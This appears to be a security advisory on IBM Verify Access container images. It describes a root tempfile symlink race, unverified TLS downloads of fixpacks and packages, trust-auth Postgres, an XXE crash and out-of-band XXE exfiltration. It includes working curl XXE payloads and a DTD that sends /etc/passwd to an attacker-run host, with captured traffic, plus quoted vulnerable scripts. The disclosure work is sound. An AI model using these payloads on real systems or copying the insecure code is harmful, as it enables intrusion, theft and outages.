There are two uses of insecure files in the /usr/sbin/health_check.sh script allowing a local attacker with access to the verify-access instance to overwrite any file as root - it is possible to get a Local Privilege Escalation as root.
The filenames are predictable, allowing a local attacker to create potential destination files before the execution of the script. The content of the destination files will be overwritten by the /usr/sbin/health_check.sh script.
Details - Local Privilege Escalation due to insecure health_check.sh script in verify-access-dsc (insecure SSL, insecure file)
It was observed that the Docker image verify-access-sc runs regularly the script /usr/sbin/health_check.sh.
This script uses a temporary file to store errors: an attacker can exploit a race condition to overwrite any file in the filesystem using a pre-generated symbolic link.
Furthermore, the script uses insecure options for curl on line 73 (--insecure) - the SSL certificate of the remote host will not be validated:
Content of /usr/sbin/health_check.sh:
[code:shell] 62 # 63 # Test access to the server as this will govern whether we are healthy or 64 # not. 65 # 66 67 error_file=/tmp/health_check.err.$$ 68 69 trap "rm -f $error_file" EXIT 70 71 ping_body='0' 72 73 curl -s -o /dev/null --show-error --insecure --cert $cert_file -X POST \ 74 -H 'SOAPAction: "ping"' \ 75 --data "$ping_body" \ 76 https://127.0.0.1:$port 2> $error_file 77 78 if [ $? -ne 0 ] ; then 79 # 80 # We don't know for sure yet whether the DSC is alive or not because it 81 # could be passive (only a single DSC is active in an environment at any 82 # one time). So, we also need to try a simple SSL connection before we 83 # return that the server is actually unhealthy. We could have simply 84 # avoided the initial curl call, but by only performing the SSL connection 85 # test when the DSC is passive we avoid SSL error messages being displayed 86 # on the console. 87 # 88 89 openssl s_client -connect 127.0.0.1:$port 2>&1 | grep -q CONNECTED 90 91 if [ $? -eq 0 ] ; then 92 exit 0 93 fi 94 95 echo "Error> failed to connect to the service." 96 97 cat $error_file; rm -f $cert_file [/code]
The /tmp/health_check.err.$$ file ($$ corresponding to the local PID) can be a symbolic link that will be followed in the line 76. This allows an attacker to overwrite any file on the system because curl is executed as root.
There is a race condition in the /usr/sbin/health_check.sh script allowing a local attacker to overwrite any file as root on the instance - it is possible to get a Local Privilege Escalation as root.
The filename is predictable, allowing a local attacker to create potential destination files. The content of the destination file will be overwritten by the stderr file descriptor of the curl command.
Details - Remote Code Execution due to insecure download of snapshot in verify-access-dsc, verify-access-runtime and verify-access-wrp
It was observed that the Docker images verify-access-dsc ,verify-access-runtime and verify-access-wrp are able to download the snapshot file over HTTPS without checking the SSL certificate of the remote server, allowing an attacker to MITM the connection and retrieve the snapshot file or to provide a malicious snapshot file to the system.
The /usr/sbin/.bootstrap_common.sh script is executed from the /usr/sbin/bootstrap.sh script when the instance starts:
Content of /usr/sbin/bootstrap.sh in verify-access-dsc
[code:shell] 139 # 140 # Wait for the snapshot file. 141 # 142 143 wait_for_snapshot [/code]
In verify-access-runtime, the function wait_for_snapshot() is called on line 93 inside the /usr/sbin/bootstrap.sh script.
The function wait_for_snapshot() calls the function download_from_cfgsvc() (line 251):
Content of /usr/sbin/.bootstrap_common.sh in verify-access-dsc, verify-access-runtime and verify-access-wrp:
[code:shell] 240 ############################################################################# 241 # Wait for the snapshot file. 242 243 wait_for_snapshot() 244 { 245 download_from_cfgsvc 1 246 247 if [ ! -f $snapshot ] ; then 248 Echo 969 249 250 while [ ! -f $snapshot ] ; do 251 download_from_cfgsvc 0 252 253 if [ ! -f $snapshot ] ; then 254 sleep 1 255 fi 256 done 257 258 Echo 970 259 fi 260 } [/code]
And the function download_from_cfgsvc() uses curl to download a snapshot, without checking the SSL certificate of the remote server. The -k option (also known as --insecure) disables any SSL verification (line 154):
Content /usr/sbin/.bootstrap_common.sh in verify-access-dsc, verify-access-runtime and verify-access-wrp:
[code:shell]
140 download_from_cfgsvc()
141 {
142 # No need to download the snapshot if the configuration service has not
143 # been defined.
144 if [ -z "$CONFIG_SERVICE_URL" ] ; then
145 return
146 fi
147
148 if [ $1 -eq 1 ] ; then
149 Echo 960
150 fi
151
152 snapshotUri="basename $snapshot?type=File&client=cat /etc/hostname"
153
154 curl -k -s --fail -u "$CONFIG_SERVICE_USER_NAME:$CONFIG_SERVICE_USER_PWD" \
155 "$CONFIG_SERVICE_URL/snapshots/$snapshotUri" \
156 -o $snapshot
157
158 if [ $? -ne 0 ] ; then
159 if [ $1 -eq 1 ] ; then
160 Echo 961
161 fi
162
163 rm -f $snapshot
164 else
165 Echo 962
166 fi
167 }
[/code]
- From the curl(1) man page:
-k, --insecure (TLS) By default, every SSL connection curl makes is verified to be secure. This option allows curl to proceed and operate even for server connections otherwise considered insecure. The server connection is verified by making sure the server's certificate contains the right name and verifies successfully using the cert store. See this online resource for further details: https://curl.haxx.se/docs/sslcerts.html See also --proxy-insecure and --cacert.
The same issue exists with the function download_fixpacks() in the same shell script (line 201):
Content of /usr/sbin/.bootstrap_common.sh in verify-access-dsc, verify-access-runtime and verify-access-wrp:
[code:shell]
169 #############################################################################
170 # Attempt to download any requested fixpacks from the configuration service.
171
172 download_fixpacks()
173 {
174 # No need to download the fixpacks if the configuration service has not
175 # been defined.
176 if [ -z "$CONFIG_SERVICE_URL" ] ; then
177 return
178 fi
179
180 # No need to download the fixpacks if no fixpack has been specified, or
181 # if the fixpack has been set to 'disabled'.
182 if [ -z "${FIXPACKS}" -o "${FIXPACKS}" = "disabled" ]; then
183 return
184 fi
185
186 # Set the fixpack directory, and then ensure that the fixpack directory
187 # has been created.
188 fixpack_dir=/tmp/fixpacks
189
190 if [ -d $fixpack_dir ] ; then
191 rm -rf $fixpack_dir/*
192 else
193 mkdir -p $fixpack_dir
194 fi
195
196 # If we get this far we know that one or more fixpacks have been specified.
197 # We need to download each of these now.
198 for fixpack in $FIXPACKS; do
199 fixpackUri="$fixpack?type=File&client=cat /etc/hostname"
200
201 curl -k -s --fail \
202 -u "$CONFIG_SERVICE_USER_NAME:$CONFIG_SERVICE_USER_PWD" \
203 "$CONFIG_SERVICE_URL/fixpacks/$fixpackUri" \
204 -o $fixpack_dir/$fixpack
[/code]
The fixpacks will be then installed as root inside the image:
Content of /usr/sbin/.bootstrap_common.sh in verify-access-dsc, verify-access-runtime and verify-access-wrp:
[code:shell] 231 for fixpack in $FIXPACKS; do 232 Echo 967 "${fixpack}" 233 /usr/sbin/isva_install_fixpack -i ${fixpack_dir}/${fixpack} >/dev/null 234 if [ $? -ne 0 ]; then 235 Echo 968 "${fixpack}" 236 fi [/code]
An attacker located on the network can inject a malicious snapshot file into the platform or MITM the connection to a server containing the snapshot image and take control over the entire platform.
Details - Lack of authentication in Postgres inside verify-access-runtime
It was observed that the Docker image verify-access-runtime configures Postgres without authentication.
The /usr/sbin/bootstrap.sh script configures and starts the postgres daemon. We can see the lack of authentication:
[code:shell] 135 # 136 # Start the postgresql server. 137 # 138 139 Echo 974 140 141 db_root=/var/postgresql/config 142 db_data_root=$db_root/data 143 db_snapshot=$db_root/snapshot.sql 144 db_log_dir=/var/application.logs/db/config 145 db_port=5432 146 db_name=config 147 db_user=www-data 148 149 if [ ! -f $db_snapshot ] ; then 150 Echo 975 151 exit 1 152 fi 153 154 mkdir -p $db_log_dir 155 156 rm -rf $db_data_root 157 158 initdb -D $db_data_root --locale=C -U $db_user -A trust > /dev/null 159 160 pg_ctl -s -D $db_data_root -l $db_log_dir/logfile start 161 162 createdb -U $db_user -p $db_port -w $db_name > /dev/null 163 164 psql -U $db_user -p $db_port -f $db_snapshot -w -q $db_name > /dev/null 165 [/code]
A local attacker can compromise the postgres database.
Details - Null pointer dereference in dscd - Remote DoS against DSC instances
It was observed that the DSC (Distributed Session Cache) servers can be remotely crashed, resulting in a DoS of the authentication infrastructure.
The DSC servers are reachable using the /DSess/services/DSess API running on port 8443/tcp.
Using an SSL client certificate, it is possible to reach the remote DSC instances from the same network segment:
[user@container-01 ~]$ curl -kv https://dsc-02.test.lan:8443
* Rebuilt URL to: https://dsc-02.test.lan:8443/
* Trying 10.0.0.16...
* TCP_NODELAY set
* Connected to dsc-02.test.lan (10.0.0.16) port 8443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
* CAfile: /etc/pki/tls/certs/ca-bundle.crt
CApath: none
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Request CERT (13):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Certificate (11):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS alert, handshake failure (552):
* error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure
* Closing connection 0
curl: (35) error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure
With a client certificate, we can reach the /DSess/services/DSess API:
Sending a normal request (ping):
kali% curl --key dsc-client.key --cert dsc-client.pem --show-error --insecure https://dsc.test.lan:8443/DSess/services/DSess -X POST -H 'SOAPAction: "ping"' --data '<?xml version="1.0" encoding="utf-8" ?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Body><ns1:ping xmlns:ns1="http://sms.am.tivoli.com"><ns1:something>0</ns1:something></ns1:ping></SOAP-ENV:Body></SOAP-ENV:Envelope>'
<?xml version='1.0' encoding='utf-8' ?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Body>
<ns1:pingResponse xmlns:ns1="http://sms.am.tivoli.com">
<ns1:pingReturn>952467756</ns1:pingReturn>
</ns1:pingResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
We can also send a specific XML External Entity (XXE) that will crash the remote DSC instance:
kali% curl --key dsc-client.key --cert dsc-client.pem --show-error --insecure https://dsc-02.test.lan:8443/DSess/services/DSess -X POST -H 'SOAPAction: "ping"' --data '<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random">]><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Body><ns1:ping xmlns:ns1="http://sms.am.tivoli.com"><ns1:something>&xxe;</ns1:something></ns1:ping></SOAP-ENV:Body></SOAP-ENV:Envelope>'
curl: (52) Empty reply from server
When debugging this issue, it appears there is a null pointer dereference in the method DSessWrapper::ping(void*) () defined in /lib64/libamdsc_interface.so library:
[root@container-02]# ps -auxww | grep dscd
6000 2093037 3.4 0.5 427936 40884 ? Ssl 20:07 0:00 /opt/dsc/bin/dscd -c /var/dsc/etc/dsc.conf.1 -f -j
root 2093269 0.0 0.0 12140 1092 pts/0 S+ 20:07 0:00 grep --color=auto dscd
[root@container-02]# gdb -p 2093037
[...]
(gdb) c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fec38006110 --> 0x7fecaf4df160 --> 0x7fecaf280e20 --> 0x4100261081058b48
RCX: 0x7fec38000b60 --> 0x1000100030005
RDX: 0x7fec38025900 --> 0x7fec38021c90 --> 0x7fec38026230 --> 0x7fec38025dc0 --> 0x0
RSI: 0x4
RDI: 0x0
RBP: 0x7fec2804f7c0 --> 0x7fecb0297548 --> 0x7fecb0079560 --> 0x480021e921058b48
RSP: 0x7feca642fc10 --> 0x1d2e480 --> 0x7fecaf4dfbf8 --> 0x7fecaf292870 --> 0x410024f509058b48
RIP: 0x7fecb007a595 --> 0x48ffffca04e8188b
R8 : 0x7fec38000b74 --> 0x3000600060005
R9 : 0x4
R10: 0x2f ('/')
R11: 0x7fecaabb2674 --> 0x29058b48fb894853
R12: 0xffffffff
R13: 0x7feca642fca0 --> 0x7fec380312f0 ("/DSess/services/DSess")
R14: 0x7feca642fce0 --> 0x7feca642fcf0 --> 0x7f00676e6970
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7fecb007a58a <_ZN12DSessWrapper4pingEPv+154>: call QWORD PTR [rax+0x38]
0x7fecb007a58d <_ZN12DSessWrapper4pingEPv+157>: mov esi,0x4
0x7fecb007a592 <_ZN12DSessWrapper4pingEPv+162>: mov rdi,rax
=> 0x7fecb007a595 <_ZN12DSessWrapper4pingEPv+165>: mov ebx,DWORD PTR [rax]
0x7fecb007a597 <_ZN12DSessWrapper4pingEPv+167>: call 0x7fecb0076fa0 <_ZdlPvm@plt>
0x7fecb007a59c <_ZN12DSessWrapper4pingEPv+172>: mov rdi,QWORD PTR [rsp+0x18]
0x7fecb007a5a1 <_ZN12DSessWrapper4pingEPv+177>: mov rax,QWORD PTR [rdi]
0x7fecb007a5a4 <_ZN12DSessWrapper4pingEPv+180>: call QWORD PTR [rax+0x2f0]
[------------------------------------stack-------------------------------------]
0000| 0x7feca642fc10 --> 0x1d2e480 --> 0x7fecaf4dfbf8 --> 0x7fecaf292870 --> 0x410024f509058b48
0008| 0x7feca642fc18 --> 0x7fecaf292d8e --> 0xda89481d74c08548
0016| 0x7feca642fc20 --> 0x7fec28040830 --> 0x7fecaf4e00a0 --> 0x7fecaf29b5a0 --> 0x4100246a21058b48
0024| 0x7feca642fc28 --> 0x1e3f6e0 --> 0x7fecaf4e1120 --> 0x7fecaf2b2450 --> 0x530022f9a9058b48
0032| 0x7feca642fc30 --> 0x7feca642fc80 --> 0x7feca642fc90 --> 0x7fec30071c00 --> 0x50 ('P')
0040| 0x7feca642fc38 --> 0x7fec3800e720 --> 0x7fecaf4dece8 --> 0x7fecaf27a770 --> 0x4800267369058b48
0048| 0x7feca642fc40 --> 0x7fec38006110 --> 0x7fecaf4df160 --> 0x7fecaf280e20 --> 0x4100261081058b48
0056| 0x7feca642fc48 --> 0x7fecaf27a8a1 --> 0xf2e668debc48941
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007fecb007a595 in DSessWrapper::ping(void*) () from target:/lib64/libamdsc_interface.so
gdb-peda$ bt
#0 0x00007fecb007a595 in DSessWrapper::ping(void*) () from target:/lib64/libamdsc_interface.so
#1 0x00007fecaf27a8a1 in tivsec_axiscpp::ServerAxisEngine::invoke(tivsec_axiscpp::MessageData*) () from target:/lib64/libtivsec_axis_server.so
#2 0x00007fecaf27b0d2 in tivsec_axiscpp::ServerAxisEngine::process(tivsec_axiscpp::SOAPTransport*) () from target:/lib64/libtivsec_axis_server.so
#3 0x00007fecaf297156 in process_request(tivsec_axiscpp::SOAPTransport*) () from target:/lib64/libtivsec_axis_server.so
#4 0x00007fecb02a3293 in AMWSMSServiceClient::processRequest(AMWSMSService::WorkerRequest&, bool) () from target:/lib64/libamdsc_server.so
#5 0x00007fecb02a3ff8 in AMWSMSService::workerThreadRun() () from target:/lib64/libamdsc_server.so
#6 0x00007fecb02a4089 in start_worker_thread () from target:/lib64/libamdsc_server.so
#7 0x00007fecaec801ca in start_thread () from target:/lib64/libpthread.so.0
#8 0x00007fecae6d3d83 in clone () from target:/lib64/libc.so.6
I can also confirm the null pointer dereference in the dmesg output of the container-02 test server:
[899328.145854] dscd[2106406]: segfault at 0 ip 00007f18e53ff595 sp 00007f18db93ac10 error 4 in libamdsc_interface.so[7f18e53ec000+30000]
[899485.595069] dscd[2107491]: segfault at 0 ip 00007f25a6041595 sp 00007f259c9cdc10 error 4 in libamdsc_interface.so[7f25a602e000+30000]
[899575.542524] dscd[2109718]: segfault at 0 ip 00007f331fde5595 sp 00007f3316938c10 error 4 in libamdsc_interface.so[7f331fdd2000+30000]
[899614.404309] dscd[2111181]: segfault at 0 ip 00007fec9cad4595 sp 00007fec9d29dc10 error 4 in libamdsc_interface.so[7fec9cac1000+30000]
[899761.869511] dscd[2112040]: segfault at 0 ip 00007f86cf8a0595 sp 00007f86c5edfc10 error 4 in libamdsc_interface.so[7f86cf88d000+30000]
I can confirm the verify-access-dsc instance crashes on container-02 as shown below.
Before the PoC, the verify-access-dsc instance is running:
[root@container-02]# podman ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
e462789b901b ibmcom/verify-access-runtime/10.0.4.0:20220926.6 28 hours ago Up 28 hours ago (healthy) 0.0.0.0:9443->9443/tcp verify-access-runtime
0ff1b85073d6 ibmcom/verify-access-dsc/10.0.4.0:20220926.6 28 hours ago Up 28 minutes ago (healthy) 0.0.0.0:8443-8444->8443-8444/tcp verify-access-dsc
After the PoC, the verify-access-dsc instance does not run anymore:
[root@container-02]# podman ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
e462789b901b ibmcom/verify-access-runtime/10.0.4.0:20220926.6 28 hours ago Up 28 hours ago (healthy) 0.0.0.0:9443->9443/tcp verify-access-runtime
[root@container-02]#
An attacker with the dsc-client SSL certificate can crash the DSC servers and crash the entire authentication system.
Details - XML External Entity (XXE) in dscd
It was observed that the DSC (Distributed Session Cache) servers are vulnerable to XML External Entity (XXE) attacks. DSC servers are used to store session information.
The DSC servers are reachable using the /DSess/services/DSess API running on port 8443/tcp.
With a client certificate, we can reach the /DSess/services/DSess API.
Content of the payload.txt file containing the XXE payload that will be sent to the remote DSC server:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://10.0.0.45/dtd.xml">
%xxe;
]>
<foo></foo>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Body>
<ns1:ping xmlns:ns1="http://sms.am.tivoli.com">
<ns1:something>X</ns1:something>
</ns1:ping>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Content of the dtd.xml file hosted on http://10.0.0.45/. This DTD file is referenced by the payload.txt file:
kali% cat /var/www/html/dtd.xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.0.0.45/?x=%file;'>">
%eval;
%exfiltrate;
Sending the previous payload will result in an exception on the remote DSC server:
kali% curl --key dsc-client.key --cert dsc-client.pem --show-error --insecure https://dsc-02.test.lan:8443/DSess/services/DSess -H 'SOAPAction: "ping"' --data '@payload.txt' -v
* Trying 10.0.0.16:8443...
* Connected to dsc-02.test.lan (10.0.0.16) port 8443 (#0)
[...]
> POST /DSess/services/DSess HTTP/1.1
> Host: dsc-02.test.lan:8443
> User-Agent: curl/7.82.0
> Accept: */*
> SOAPAction: "ping"
> Content-Length: 453
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Apache Axis C++/1.6.a
< Connection: close
< Content-Length: 330
< Content-Type: text/xml
<
<?xml version='1.0' encoding='utf-8' ?>
<SOAP-ENV:Envelope>
<SOAP-ENV:Body>
<SOAP-ENV:Fault>
<faultcode>SOAP-ENV:Server</faultcode>
<faultstring>Unknown exception</faultstring>
<faultactor>server name:listen port</faultactor>
<detail>Unknown Exception has occured</detail>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
* Closing connection 0
* TLSv1.2 (OUT), TLS alert, close notify (256):
At the same time, when sniffing the HTTP connections to the remote HTTP server providing http://10.0.0.45/?x=%file, we can observe HTTP requests from the DSC server (acting as a HTTP client).
There is a successful exfiltration of the /etc/passwd file of the DSC instance - this file was specified in the dtd.xml file at http://10.0.0.45/dtd.xml, used by the malicious payload:
kali# tcpdump -n -i eth0 -s0 -X port 80
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:01:12.655204 IP 10.0.0.16.60254 > 10.0.0.45.80: Flags [P.], seq 1:753, ack 1, win 229, options [nop,nop,TS val 2959987485 ecr 3936552717], length 752: HTTP: GET /root:x:0:0:root:/root:/bin/bash
[...]
0x0030: eaa3 070d 4745 5420 2f72 6f6f 743a 783a ....GET./root:x:
0x0040: 303a 303a 726f 6f74 3a2f 726f 6f74 3a2f 0:0:root:/root:/
0x0050: 6269 6e2f 6261 7368 0a62 696e 3a78 3a31 bin/bash.bin:x:1
0x0060: 3a31 3a62 696e 3a2f 6269 6e3a 2f73 6269 :1:bin:/bin:/sbi
0x0070: 6e2f 6e6f 6c6f 6769 6e0a 6461 656d 6f6e n/nologin.daemon
0x0080: 3a78 3a32 3a32 3a64 6165 6d6f 6e3a 2f73 :x:2:2:daemon:/s
0x0090: 6269 6e3a 2f73 6269 6e2f 6e6f 6c6f 6769 bin:/sbin/nologi
0x00a0: 6e0a 6164 6d3a 783a 333a 343a 6164 6d3a n.adm:x:3:4:adm:
0x00b0: 2f76 6172 2f61 646d 3a2f 7362 696e 2f6e /var/adm:/sbin/n
0x00c0: 6f6c 6f67 696e 0a6c 703a 783a 343a 373a ologin.lp:x:4:7:
0x00d0: 6c70 3a2f 7661 722f 7370 6f6f 6c2f 6c70 lp:/var/spool/lp
0x00e0: 643a 2f73 6269 6e2f 6e6f 6c6f 6769 6e0a d:/sbin/nologin.
0x00f0: 7379 6e63 3a78 3a35 3a30 3a73 796e 633a sync:x:5:0:sync:
0x0100: 2f73 6269 6e3a 2f62 696e 2f73 796e 630a /sbin:/bin/sync.
0x0110: 7368 7574 646f 776e 3a78 3a36 3a30 3a73 shutdown:x:6:0:s
0x0120: 6875 7464 6f77 6e3a 2f73 6269 6e3a 2f73 hutdown:/sbin:/s
0x0130: 6269 6e2f 7368 7574 646f 776e 0a68 616c bin/shutdown.hal
0x0140: 743a 783a 373a 303a 6861 6c74 3a2f 7362 t:x:7:0:halt:/sb
0x0150: 696e 3a2f 7362 696e 2f68 616c 740a 6d61 in:/sbin/halt.ma
0x0160: 696c 3a78 3a38 3a31 323a 6d61 696c 3a2f il:x:8:12:mail:/
0x0170: 7661 722f 7370 6f6f 6c2f 6d61 696c 3a2f var/spool/mail:/
0x0180: 7362 696e 2f6e 6f6c 6f67 696e 0a6f 7065 sbin/nologin.ope
0x0190: 7261 746f 723a 783a 3131 3a30 3a6f 7065 rator:x:11:0:ope
0x01a0: 7261 746f 723a 2f72 6f6f 743a 2f73 6269 rator:/root:/sbi
0x01b0: 6e2f 6e6f 6c6f 6769 6e0a 6761 6d65 733a n/nologin.games:
0x01c0: 783a 3132 3a31 3030 3a67 616d 6573 3a2f x:12:100:games:/
0x01d0: 7573 722f 6761 6d65 733a 2f73 6269 6e2f usr/games:/sbin/
0x01e0: 6e6f 6c6f 6769 6e0a 6674 703a 783a 3134 nologin.ftp:x:14
0x01f0: 3a35 303a 4654 5020 5573 6572 3a2f 7661 :50:FTP.User:/va
0x0200: 722f 6674 703a 2f73 6269 6e2f 6e6f 6c6f r/ftp:/sbin/nolo
0x0210: 6769 6e0a 6e6f 626f 6479 3a78 3a36 3535 gin.nobody:x:655
0x0220: 3334 3a36 3535 3334 3a4b 6572 6e65 6c20 34:65534:Kernel.
0x0230: 4f76 6572 666c 6f77 2055 7365 723a 2f3a Overflow.User:/:
0x0240: 2f73 6269 6e2f 6e6f 6c6f 6769 6e0a 6973 /sbin/nologin.is
0x0250: 616d 3a78 3a36 3030 303a 3630 3030 3a3a am:x:6000:6000::
0x0260: 2f68 6f6d 652f 6973 616d 3a2f 6269 6e2f /home/isam:/bin/
0x0270: 6261 7368 0a69 766d 6772 3a78 3a36 3030 bash.ivmgr:x:600
0x0280: 313a 3630 3031 3a41 6363 6573 7320 4d61 1:6001:Access.Ma
0x0290: 6e61 6765 7220 5573 6572 3a2f 6f70 742f nager.User:/opt/
0x02a0: 506f 6c69 6379 4469 7265 6374 6f72 3a2f PolicyDirector:/
0x02b0: 6269 6e2f 6661 6c73 650a 7469 766f 6c69 bin/false.tivoli
0x02c0: 3a78 3a36 3030 323a 3630 3032 3a4f 776e :x:6002:6002:Own
0x02d0: 6572 206f 6620 5469 766f 6c69 2043 6f6d er.of.Tivoli.Com
[...]
An attacker can read any file located in the instance - the DSC server will send any file specified in the payload to an attacker-controlled HTTP server.
An attacker with the dsc-client SSL certificate can exfiltrate any sensitive information from the instance.
Details - Remote Code Execution due to insecure download of rpm and zip files in verify-access-dsc, verify-access-runtime and verify-access-wrp (/usr/sbin/install_isva.sh)
It was observed that the Docker images verify-access-dsc ,verify-access-runtime and verify-access-wrp use insecure communications to download several rpm and zip files that will then be installed or decompressed as root.
The /usr/sbin/install_isva.sh script contains insecure downloading of rpm files and zip files. These rpm files will then be installed as root.
An attacker located on the network can inject malicious rpm or zip files into the authentication platform and take control over the entire authentication platform.
There are 3 different /usr/sbin/install_isva.sh scripts found in these images but they share the same vulnerable code:
kali-docker# sha256sum **/install_isva.sh
1c851f579baeda9d3c11e7721aaa5960dc6a3d6b052bcc8a46979d0634e31892 _verify-access-dsc.tar/787d9cec79e27fccd75a56b7101b39da38161f9d3749d6d0fd7cfcc8252aca34/usr/sbin/install_isva.sh
00f2ca8ad004af9c9e16b6cfdf480dcdb52dc36c7ff64df2bcc34495f6a9ae8d _verify-access-runtime.tar/694cb5f84eff9a4b0aac37a4bd9f65116051953f3aee5e4e998af5938e684a5e/usr/sbin/install_isva.sh
8a59d7f89c6d587d9b764b9e4748cf0d20d406f65433a813464b32a13745f6da _verify-access-wrp.tar/937031a6ab4bc7bd504dcbee8d242f181e904c1722489077cf468daae176e2da/usr/sbin/install_isva.sh
Vulnerable code in verify-access-dsc - download over HTTP or without checking the SSL certificate (lines 24, 60 and 82) and installation of packages as root without checking the signatures (line 76):
Content of /usr/sbin/install_isva.sh in verify-access-dsc:
[code:shell]
22 files=/root/files.txt
23
24 curl -k ${WEBSERVER}/ -o $files
[...]
38 #
39 # Install each of our RPMs.
40 #
41
42 pkgs="gskcrypt64 \
43 gskssl64 \
44 Base-ISVA \
45 idsldap-license64 \
46 idsldap-cltbase64 \
47 idsldap-clt64bit64 \
48 Pdlic-PD \
49 TivSecUtl-TivSec \
50 PDRTE-PD \
51 PDWebRTE-PD \
52 PDWebDSC-PD"
53
54 for pkg in $pkgs; do
55 echo "Installing $pkg"
56
57 # Download and install the file.
58 rpm_file=locate_rpm_file $pkg
59
60 curl -fail -s -k ${WEBSERVER}/$rpm_file -o /root/$rpm_file
[...]
76 rpm -i $extra_args /root/$rpm_file
[...]
78 # Download the include file and delete all files not included in the file.
79 include=rpm -qp /root/$rpm_file --qf "%{NAME}.include"
80 include_file=/root/$include
81
82 set +e; curl --fail -s -k ${WEBSERVER}/$include -o $include_file; rc=$?; set -e
83
84 if [ $rc -eq 0 -a -f $include_file ] ; then
85 # Convert the include file to be regular expression based instead of
86 # glob based.
87 sed -i "s|*|.*|g" $include_file
88
89 for entry in rpm -ql /root/$rpm_file | grep -xvf $include_file; do
90 if [ -f $entry ] ; then
91 rm -f $entry
92 fi
93 done
94 fi
[/code]
The code in verify-access-wrp is also very similar and shares the same vulnerabilities.
Vulnerable code in verify-access-runtime - same vulnerability in /usr/sbin/install_isva.sh with an additional vulnerability with the insecure download, due to the -k option on line 117 (alias to --insecure) and extraction of zip files as root in line 119:
[code:shell]
28 files=/root/files.txt
29
30 curl -k ${WEBSERVER}/ -o $files
[...]
41 pkgs="gskcrypt64 \
42 gskssl64 \
43 Base-ISVA \
44 PDlic-PD \
45 TivSecUtl-TivSec \
46 PDRTE-PD \
47 PDWebWAPI-PD \
48 PDWebDSC-PD \
49 VerifyAccessRuntimeFeatures \
50 MesaConfig \
51 FIM \
52 RBA"
53
54 for pkg in $pkgs; do
55 echo "Installing $pkg"
56
57 # Download and install the file.
58 rpm_file=locate_rpm_file $pkg
59
60 curl --fail -s -k ${WEBSERVER}/$rpm_file -o /root/$rpm_file
[...]
78 rpm -i $extra_args /root/$rpm_file
79
80 # Download the include file and delete all files not included in the file.
81 include=rpm -qp /root/$rpm_file --qf "%{NAME}.include"
82 include_file=/root/$include
83
84 set +e; curl --fail -s -k ${WEBSERVER}/$include -o $include_file; rc=$?; set -e
85
86 if [ $rc -eq 0 -a -f $include_file ] ; then
87 # Convert the include file to be regular expression based instead of
88 # glob based.
89 sed -i "s|*|.*|g" $include_file
90
91 for entry in rpm -ql /root/$rpm_file | grep -xvf $include_file; do
92 if [ -f $entry ] ; then
93 rm -f $entry
94 fi
95 done
96 fi
[...]
108 zips="\
109 com.ibm.tscc.rtss.wlp.zip:/opt/rtss \
110 com.ibm.isam.common.eclipse.wlp.zip:/opt/IBM \
111 pdjrte-0.0.0-0.zip:/opt"
112
113 for entry in $zips; do
114 zip=echo $entry | cut -f 1 -d ':'
115 dst=echo $entry | cut -f 2 -d ':'
116
117 curl --fail -s -k ${WEBSERVER}/$zip -o /root/$zip
118 mkdir -p $dst
119 unzip -q /root/$zip -d $dst
120
121 rm -f /root/$zip
122 done
[/code]
Details - Remote Code Execution due to insecure download of rpm in verify-access-runtime (/usr/sbin/install_java_liberty.sh)
It was observed that the Docker image verify-access-runtime insecurely downloads zip files.
An attacker located on the network can inject malicious zip files into the platform and take control over the entire platform.
The /usr/sbin/install_java_liberty.sh script contains insecure downloading of zip files. These zip files will then be extracted as root into the /opt/java, /opt/ibm, /opt/oracle/jdbc and /opt/IBM/db2 directories, providing WebSphere Liberty binaries (that will then be used to provide executable code).
It is also possible to remotely delete any file as root (lines 61 to 65).
Vulnerable code in /usr/sbin/install_java_liberty.sh:
[code:shell]
14 web_files=/root/files.txt
15
